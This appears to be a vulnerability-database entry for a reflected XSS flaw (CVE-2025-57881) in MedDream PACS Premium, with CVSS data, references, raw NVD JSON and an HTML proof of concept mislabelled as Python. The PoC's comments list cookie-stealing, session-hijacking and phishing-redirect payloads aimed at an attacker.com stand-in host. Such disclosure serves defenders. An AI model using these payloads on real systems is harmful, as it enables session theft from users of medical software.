CVE-2025-57881

Description

A reflected cross-site scripting (xss) vulnerability exists in the modifyEmail functionality of MedDream PACS Premium 7.3.6.870. A specially crafted malicious URL can lead to arbitrary javascript code execution. An attacker can provide a crafted URL to trigger this vulnerability.

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:meddream:pacs_server:7.3.6.870:*:*:*:premium:*:*:* - VULNERABLE

MedDream PACS Premium 7.3.6.870

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-57881 PoC - Reflected XSS in MedDream PACS Premium modifyEmail -->
<!-- Target: MedDream PACS Premium 7.3.6.870 -->
<!-- Attack Type: Reflected Cross-Site Scripting -->

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-57881 PoC</title>
</head>
<body>
    <h1>CVE-2025-57881 - MedDream PACS Premium XSS PoC</h1>
    
    <!-- Malicious URL that triggers the XSS vulnerability -->
    <p>Malicious URL:</p>
    <code id="maliciousUrl"></code>
    
    <script>
        // Construct the malicious URL targeting modifyEmail functionality
        const baseUrl = window.location.origin;
        const maliciousPayload = '<script>alert("XSS - CVE-2025-57881")</script>';
        const maliciousUrl = baseUrl + '/modifyEmail?email=' + encodeURIComponent(maliciousPayload);
        
        document.getElementById('maliciousUrl').textContent = maliciousUrl;
        
        // Alternative payload examples:
        // Cookie stealing payload:
        // <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
        // 
        // Session hijacking payload:
        // <img src=x onerror="fetch('https://attacker.com/log?data='+btoa(document.cookie))">
        // 
        // Phishing redirect payload:
        // <script>window.location.href='https://attacker.com/phishing'</script>
    </script>
    
    <!-- Simulated attack scenario -->
    <h2>Attack Scenario</h2>
    <ol>
        <li>Attacker crafts malicious URL with XSS payload in email parameter</li>
        <li>Attacker tricks victim into clicking the malicious link</li>
        <li>Victim's browser executes the injected JavaScript</li>
        <li>Attacker steals session cookies or performs unauthorized actions</li>
    </ol>
    
    <h2>Detection Methods</h2>
    <ul>
        <li>Web Application Firewall (WAF) rules for XSS patterns</li>
        <li>Input validation and output encoding audit</li>
        <li>Content Security Policy (CSP) implementation review</li>
        <li>Security headers inspection</li>
    </ul>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-57881
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-57881
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-57881/
[4] VulDB https://vuldb.com/cve/CVE-2025-57881
[5] https://talosintelligence.com/vulnerability_reports/TALOS-2025-2263
[6] https://www.talosintelligence.com/vulnerability_reports/TALOS-2025-2263

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-57881", "sourceIdentifier": "[email protected]", "published": "2026-01-20T15:17:03.587", "lastModified": "2026-01-29T15:20:07.413", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A reflected cross-site scripting (xss) vulnerability exists in the modifyEmail functionality of MedDream PACS Premium 7.3.6.870. A specially crafted malicious URL can lead to arbitrary javascript code execution. An attacker can provide a crafted URL to trigger this vulnerability."}, {"lang": "es", "value": "Una vulnerabilidad de cross-site scripting (XSS) reflejado existe en la funcionalidad modifyEmail de MedDream PACS Premium 7.3.6.870. Una URL maliciosa especialmente diseñada puede llevar a la ejecución de código javascript arbitrario. Un atacante puede proporcionar una URL diseñada para activar esta vulnerabilidad."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:meddream:pacs_server:7.3.6.870:*:*:*:premium:*:*:*", "matchCriteriaId": "0F239E49-18E8-4DE0-B9B8-C220C3BC0C62"}]}]}], "references": [{"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2025-2263", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2025-2263", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Exploit", "Third Party Advisory"]}]}}